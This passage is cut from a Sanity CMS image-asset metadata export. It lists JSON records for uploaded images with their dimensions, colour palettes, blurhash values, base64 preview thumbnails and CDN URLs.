c13KiR5JEKHLBY","url":"https://cdn.sanity.io/images/sczeoy4w/production/9b76a55452b7b07dbe97b69619079acea84ae0b3-1562x663.png"} {"_createdAt":"2023-01-10T14:32:46Z","_id":"image-9b7ea5a9fdfceb61a630f045ce74e0f9959f105b-378x378-jpg","_rev":"E0WcOAmhawew35VucD1tkA","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T14:32:46Z","assetId":"9b7ea5a9fdfceb61a630f045ce74e0f9959f105b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGGtpL0#0~}sn40gjZi{oyfjI:$%={NcNG57t6afIpxtxZoJxYNaR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":378,"width":378},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAMGBwX/xAAiEAABBAIBBQEBAAAAAAAAAAABAAIDBAUREgYhIjFBFGH/xAAXAQADAQAAAAAAAAAAAAAAAAABAwQF/8QAHBEAAgMAAwEAAAAAAAAAAAAAAAECESEDBBJR/9oADAMBAAIRAxEAPwDPG0Q6Lwe7kfmlaOnugqDsY27Yef2l3dp+hcfCwCSeN798S4bLvQC0WzkYK1aG3GA+NoLdhQdibjVGj04e/VmZZLGSU788EcjmMa46CKwZamMhfktB4aJO4BOkTE8FNaWqzhKIxuNjEXjI9vM77lS9L0oLF2ajLGHVo3P4sP8APSIopa9L+HIuvhNcwdCxO6SSLy9djoIiIWxdI//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4139","foreground":"#fff","population":5.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#49291a","foreground":"#fff","population":2.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#96735c","foreground":"#fff","population":5.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cba186","foreground":"#000","population":3.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eca384","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#96735c","foreground":"#fff","population":5.84,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b06f53","foreground":"#fff","population":3.8,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"jen-szabo.jpg","path":"images/sczeoy4w/production/9b7ea5a9fdfceb61a630f045ce74e0f9959f105b-378x378.jpg","sha1hash":"9b7ea5a9fdfceb61a630f045ce74e0f9959f105b","size":20564,"uploadId":"1Qy3JEf1i29cSbwW6UUrSTxSsOAjmUTX","url":"https://cdn.sanity.io/images/sczeoy4w/production/9b7ea5a9fdfceb61a630f045ce74e0f9959f105b-378x378.jpg"} {"_createdAt":"2022-06-15T20:01:31Z","_id":"image-9b9f06d76fff293e8e9d4dbb04af274d5873e6a6-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7XSb","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:45Z","assetId":"9b9f06d76fff293e8e9d4dbb04af274d5873e6a6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MkOpus?wxtaKoz%gM_RPW=oe%Ms:kDoeRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAChElEQVQokT2R209SAQDGz//SVn9Azz331lxra/OherRWcysvtcyxDCTN1FACIRSRjsDhNkSENO4XMY4eQC4Hue2chHO4Hg7K7XBsavXb7/Xbt28f0KXqdLXabDaZfp+9os+yPYZptds0TddqtXK5TBSKRRwv5LN4Gs2n4vlkNBsPZ2IIQFENslqr0s2zTu+8y1zZO2t3qOZ5uU4R5QpJlsgiUcTwHBqLIYFk5FcuEcnFw9kYAqAFMpTBIlgRJapJooIS1RRRjZ+WIlghnPsNn+SOkmn0JJNOoR63RacV+ZymdBTOHh+lIzBgOUCMftgUPIK8oU33gcYb0nhDG46A7IdnfdezuuMQ6swKkw2y2JZkX+bmR7dUwkPndtRvjwYcgNrug5x+udXxETTwlLpZlZEPGjhy9btvIFcBcWTgqEAyKZRNiVcnFj4JFidVSxNWxULQqoXtZgBGMy4kZg0e6t0BvWvf6NnXOv2be271ntvo9KltdrnBpIC0UrlMvLIISfnQ/MjWytSBFUJcFqDZalcomqxTpXqjVG+QtTpRqZ2SZbxQxHDscmsUQXw/bd8FkHBStzyhXRwzS7jBHVXYaQb+33Ntr9frdDpNmiYLp1g6haHRfGQ/4THbZLw1/gvpzCvl3KheyPGbwYh3F7i4gr24YFmWYfrdbrdBNeKxY5NBq1HKXRYdsqeFLYptMWeN+3R15iW48EYv4gasujgc+Bu+zPf717U4hktWxA/u33v0cED2meNWL/s0gu2vb1X8IeX0843ZcXCZZwRFVuP6v2aW7TNMp9NttVqJRGJsbOTWzRt379yWcoddGzyX4oNNNG6YeyZ5PcgbGng/PDj19vE058kfo9P8hzGoV5cAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324951","foreground":"#fff","population":0.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e4555","foreground":"#fff","population":5.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0e4555","foreground":"#fff","population":5.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab8ad","foreground":"#000","population":2.71,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcecf4","foreground":"#000","population":0.33,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b7c5a","foreground":"#fff","population":4.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4e96b0","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9b9f06d76fff293e8e9d4dbb04af274d5873e6a6-752x405.png","path":"images/sczeoy4w/production/9b9f06d76fff293e8e9d4dbb04af274d5873e6a6-752x405.png","sha1hash":"9b9f06d76fff293e8e9d4dbb04af274d5873e6a6","size":107300,"uploadId":"XghZgd9UTkL2I4TOvkTuEOeQaZiOAbxH","url":"https://cdn.sanity.io/images/sczeoy4w/production/9b9f06d76fff293e8e9d4dbb04af274d5873e6a6-752x405.png"} {"_createdAt":"2024-03-13T12:57:39Z","_id":"image-9baa7574fa6eb0010f233e783909d19db02ebdf6-2545x383-png","_rev":"2QvLnXP36WAnQ13A3np4cM","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T12:57:39Z","assetId":"9baa7574fa6eb0010f233e783909d19db02ebdf6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4uE2Hc~4^d=@-R","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.64490861618799,"height":383,"width":2545},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAyUlEQVQImS3MQUpCYRQF4PtoC/Xfc8JzHWSDR0mSRYRooqhYUEtw0E7cQq6kHYhIg9K1OKjp+8Vw+g0+yxtbVD82zxub/a2t0S5TkrMZwL2cdwE25LgQ/u06wCs5ygAkRwrwNJwux7mAsPxlH9W3zfPW3nfLotm7PavXElt14EHARGA/wI7ASYCjAIfhGAvoy9EV2AmwJ3Asx4vlz5NFtS4O4ex3VVy2y0Q5b+IQOocBDsLZPWZPAT6GcyBwJOezwGmAUwGvcrztAUxsMyl2ion8AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c2434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c6404","foreground":"#fff","population":0.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#faca06","foreground":"#000","population":5.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#963302","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc864c","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b2ac4d","foreground":"#000","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faca06","foreground":"#000","population":5.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-clickhouse.png","path":"images/sczeoy4w/production/9baa7574fa6eb0010f233e783909d19db02ebdf6-2545x383.png","sha1hash":"9baa7574fa6eb0010f233e783909d19db02ebdf6","size":21762,"uploadId":"MZCsoLN9w2Q7FGoS2hdrduT09IZVIzuh","url":"https://cdn.sanity.io/images/sczeoy4w/production/9baa7574fa6eb0010f233e783909d19db02ebdf6-2545x383.png"} {"_createdAt":"2024-06-10T15:22:53Z","_id":"image-9bc054c3ca2b4029e77d0fa94fc1264361874223-1482x1054-png","_rev":"rE19qWqXtwbnyVyXl5PgCA","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:53Z","assetId":"9bc054c3ca2b4029e77d0fa94fc1264361874223","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VOQAHl0K?H_3xu~q?bV@D%M{H@IUR*%Mt7-;xuoMnjRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4060721062618595,"height":1054,"width":1482},"exif":{"PixelXDimension":1482,"PixelYDimension":1054,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAACwUlEQVQ4jX2T7UsUQRzH78+p3kRQWUEkRhmIkkQEBdELKylI6k29qBe9K+xFlhSaQmYqGWUqgZEPpMZlnnoPnp56ep537j16t7ezt7M7u+c3Zu6hK6gX393Z2ZnP/L7fmbHFk2lEYknEEikoqgbdMGEwS0g38ip+l4saJrLUgKrp4q2oFPGdNGwZogkQ/8FhlFmIqyrWd5LwJeLwxCSspRJIaxoMMwfT2hXSmQVZ1bAjExBVg6YzAbXxBisMpMyEP5XAkN+NHu8sBnxudC/OoNPzHaNBHySSgWHlYOWQBxINybSSd8ar1hls/FFcNSin0O9z4Nn8OAZWnXBIIUxu+dG1aBd9IwEvEtksLAvCNiEUaZkIIOdolOUr5DBiGJgIroiJn9c9kIiCLDNBDCaq7l2exUvnNzhjYehmTrgiWQpZUUFUKizzLAXQsnYRVQneLTvQ4Z4WmXFbXDluz8zhp7SJ1vkJfAksicV5lXxjqM6EXV4xZ5WAYUVGt/cH3i7NIKxkBIwVouDyJiKiwmG/GzKlYqHiP6vQprr5GxhXCfp9c2h3TWE5GS0N5BP5ztu3N/B8fgJfN30ihr+BrBzIO7OMYSrkF5M+rjkRkFPI6DrSlIrq+Ma0uSaxmJDE8bH+B2SFkEOZNAZWF9DiGMNrj13Y+7TqxCvXlMhvPLiCFNVKsGLOVtGyYcImK1lshiJY8Phgn3NhcHoazcMf0NTXgWtvXuBGbzsejw5ibH0JUaL8cbjLxcxcflOC4QjeD43g7sNmNN55gKu37+Ny0z3UNt7CiSsNqLnZhKc9fdjYjogKyq9muXg/v222tcAWWtq6UHfpOo5Vn8fBqrM4VFWPwyfrcaCyDpW1F/GktRNb4WhpIj8mf0vcbQ4MSTEBrLnQgIpT57D/eA32HqnGvqNnsKfitOh71NIOPk6E/w/LXDyOX48G7jJi3EhHAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#263442","foreground":"#fff","population":7.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#295b4e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#53b199","foreground":"#fff","population":8.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2d9d9","foreground":"#000","population":0.99,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1e1d0","foreground":"#000","population":0.18,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#589c8c","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#53b199","foreground":"#fff","population":8.77,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"innapropriate-language.png","path":"images/sczeoy4w/production/9bc054c3ca2b4029e77d0fa94fc1264361874223-1482x1054.png","sha1hash":"9bc054c3ca2b4029e77d0fa94fc1264361874223","size":271468,"uploadId":"rXdhxkKWuch9GkBt2I9r8G4Hb0o2vXmR","url":"https://cdn.sanity.io/images/sczeoy4w/production/9bc054c3ca2b4029e77d0fa94fc1264361874223-1482x1054.png"} {"_createdAt":"2022-09-07T06:38:58Z","_id":"image-9bda7957fec76f252e852c09954ee393803b63e9-1538x165-png","_rev":"cEPH2uRN58AU2lp9QO8Q9Z","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:49Z","assetId":"9bda7957fec76f252e852c09954ee393803b63e9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4A8;}|0n~qE5xV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":9.32121212121212,"height":165,"width":1538},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAABcRAAAXEQHKJvM/AAAAp0lEQVQImQXBSQsBYQCAYXdJipAJKZGRUi6abKNBlkQoclFqbsqFrEMSUsZRWX/p93oei7f5FJH+V8SHX+TBW4Q7D9wVE1v+jFXZ41CW+NQ17oKBXVnhLW6RWyfirRP+kkGye2G0+KBvfpTHJhapehWxzl0keiaJ7k3I7Suh2hFJ2+PKLnCmpwTUOUFtjSszw5ObEakZRBsHJG1HqndBX72Y7N7U9Tt/6ZtQHb5TqosAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382f1b","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#063787","foreground":"#fff","population":10.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#063787","foreground":"#fff","population":10.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6b0d2","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0bd8f","foreground":"#000","population":0.55,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a75a0","foreground":"#fff","population":3.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#083f9b","foreground":"#fff","population":8.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9bda7957fec76f252e852c09954ee393803b63e9-1538x165.png","path":"images/sczeoy4w/production/9bda7957fec76f252e852c09954ee393803b63e9-1538x165.png","sha1hash":"9bda7957fec76f252e852c09954ee393803b63e9","size":58456,"uploadId":"Zbd28tPFHmNBju33GcSIY7FPWgDz1h8c","url":"https://cdn.sanity.io/images/sczeoy4w/production/9bda7957fec76f252e852c09954ee393803b63e9-1538x165.png"} {"_createdAt":"2023-03-16T18:31:21Z","_id":"image-9beb865873e33ad1ebb62a56beb1574655d2067e-259x258-jpg","_rev":"RksXZeZKLvjmDTh00rT0m9","_type":"sanity.imageAsset","_updatedAt":"2023-03-16T18:31:21Z","assetId":"9beb865873e33ad1ebb62a56beb1574655d2067e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e+M7u;xu~qofof-;M{xuj[RjIUj[Rjt7j[%Moft7WBRjayRjWBofWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.003875968992248,"height":258,"width":259},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcFCAb/xAAlEAACAgICAQMFAQAAAAAAAAABAgMEAAUGEVEHEhMUFSEiMUH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8Ar/rpLdXjlaGrbarWnnEdh0PTe3wMlPEZH4ly/Vfa79mStYkCWI5G7Ug/7lw9UqyWOLTOzxK8J+VfkIAPWQCnyHX1dvRluzGSmsyvK4Xr2fnzgdXg9gEfw4zL1291V6nHYp368kLD9WEgxgcc+q/K9xteUbGG5ckaCGcokQJCgd+M8pv9hPNZjqsVWBUXpFHQ784xgZ319qsBHBYlRP70rkDGMYH/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":1.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":2.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4b4","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":2.93,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"5cbf5b77-markos-grayscale_107709l07707600000v028.jpg","path":"images/sczeoy4w/production/9beb865873e33ad1ebb62a56beb1574655d2067e-259x258.jpg","sha1hash":"9beb865873e33ad1ebb62a56beb1574655d2067e","size":11002,"uploadId":"Ok45hOPYxnQ7qHDz8o6auuoT48ZSMa9I","url":"https://cdn.sanity.io/images/sczeoy4w/production/9beb865873e33ad1ebb62a56beb1574655d2067e-259x258.jpg"} {"_createdAt":"2022-06-30T20:00:55Z","_id":"image-9c15a9c5df65e80d530869bb201870016102f956-1159x249-png","_rev":"cEPH2uRN58AU2lp9QO87bt","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:07Z","assetId":"9c15a9c5df65e80d530869bb201870016102f956","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D23lH+sht:neXVtoVotoVokZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.6546184738955825,"height":249,"width":1159},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAtElEQVQYlX2QS07EMBAFcwQIiZ323x5nHGbIiEuw5P7HKWQjFixgUXottVR6epMWj9ocWhybDWjjWdTG87zyNC+/mF8UixJWbVh7KkGJR/KDcH4Q3j+ZTG64tFNqo7Y75Xoj5IpxCbERY+PIcbtOwro08gfxBYkNiQeTvz6I+33I2uvJfrxR6kFIF3ws+HghpPonLhQ2479ba+nCk1Bv+PHMo8VoZAJiA9bnf6Vd2GfrU3S+AD3Qa7vCAAjPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303943","foreground":"#fff","population":1.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#140d04","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#303943","foreground":"#fff","population":1.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#29456f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9eb6da","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#838689","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4f7bbd","foreground":"#fff","population":1.66,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9c15a9c5df65e80d530869bb201870016102f956-1159x249.png","path":"images/sczeoy4w/production/9c15a9c5df65e80d530869bb201870016102f956-1159x249.png","sha1hash":"9c15a9c5df65e80d530869bb201870016102f956","size":40264,"uploadId":"GApcmNoxzIpija7DeHcUKnD33e4hq2Zl","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c15a9c5df65e80d530869bb201870016102f956-1159x249.png"} {"_createdAt":"2023-12-06T17:43:10Z","_id":"image-9c4e88a739a5d8e0e668b3f839e56a0f311c09e0-1999x1047-png","_rev":"zHeFW2t7bUb3lAyGGtBJet","_type":"sanity.imageAsset","_updatedAt":"2023-12-06T17:43:10Z","assetId":"9c4e88a739a5d8e0e668b3f839e56a0f311c09e0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9SY~#%#xFi{_1~pIVoyxtIVI]xYRkRlt2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.909264565425024,"height":1047,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABiklEQVQokW2STWscMQxA9///pBYKLfTYS3voMadtIcvOxPbY+rA8r3hmSQLp4Rlh5Cdb1sXMEFVEDfPA+zgwn3R674wx2Pf9YPTAxXBz4v3+OLnMZLHOS1XWaiTpZD0pFmw+qB5UC5oHok7bGtKU3uMhGq9FL3ORHtw35Tk37tVYpfOiQfJB9p08401Zs5BLYyuV1gR3JyI+Cr0HWxNybTR1LAYeOz4exMBEaaVRS6WU7eCU9o/CWUVVjwRVO/p2VI7xIAjvhPshzimzLCs5leNczKf3YB/jvdAQmUI94tn0Wf3kjGeem1FSJi0rNRdchFBlmLFHPJ4cwSZKaUpVo5nTvKM9jv6KxxFbH6go25ooy0qbwlqJ1hiqbzecB+5VuW3KvRmLdNbHpyTfT/pO6Tu1KXldSfcFyYUQOWTD/a2H6kGqykszina2Y1yC2gct9lckdkpVrteFp6cb1z+J262RkuIeb8I5T00c0U6fn/AY1v+RsvHj551PX//y+dszX77f+PU7kct5w3+svAwUWagCLgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d5669","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242c9c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b2c8d6","foreground":"#000","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2c8d6","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90a7f4","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#747e9a","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3146d8","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9c4e88a739a5d8e0e668b3f839e56a0f311c09e0-1999x1047.png","path":"images/sczeoy4w/production/9c4e88a739a5d8e0e668b3f839e56a0f311c09e0-1999x1047.png","sha1hash":"9c4e88a739a5d8e0e668b3f839e56a0f311c09e0","size":257044,"uploadId":"EK1Rpm93KoBftDrh1xrKkByJza2MgDHX","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c4e88a739a5d8e0e668b3f839e56a0f311c09e0-1999x1047.png"} {"_createdAt":"2022-06-14T14:41:12Z","_id":"image-9c5d71dc326a8d59daa861ecdb16728343d93ba2-299x366-png","_rev":"oamrAPLmQLQjd9jh7YpzUk","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:12Z","assetId":"9c5d71dc326a8d59daa861ecdb16728343d93ba2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"epMQ9Z%1%$Shae~qax%2oLR*T0WBMxjZjF%gofRkj]Rjoff6V?oLkC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8169398907103825,"height":366,"width":299},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#43392c","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#824025","foreground":"#fff","population":5.79,"title":"#fff"},"dominant":{"_type":"sanity.imag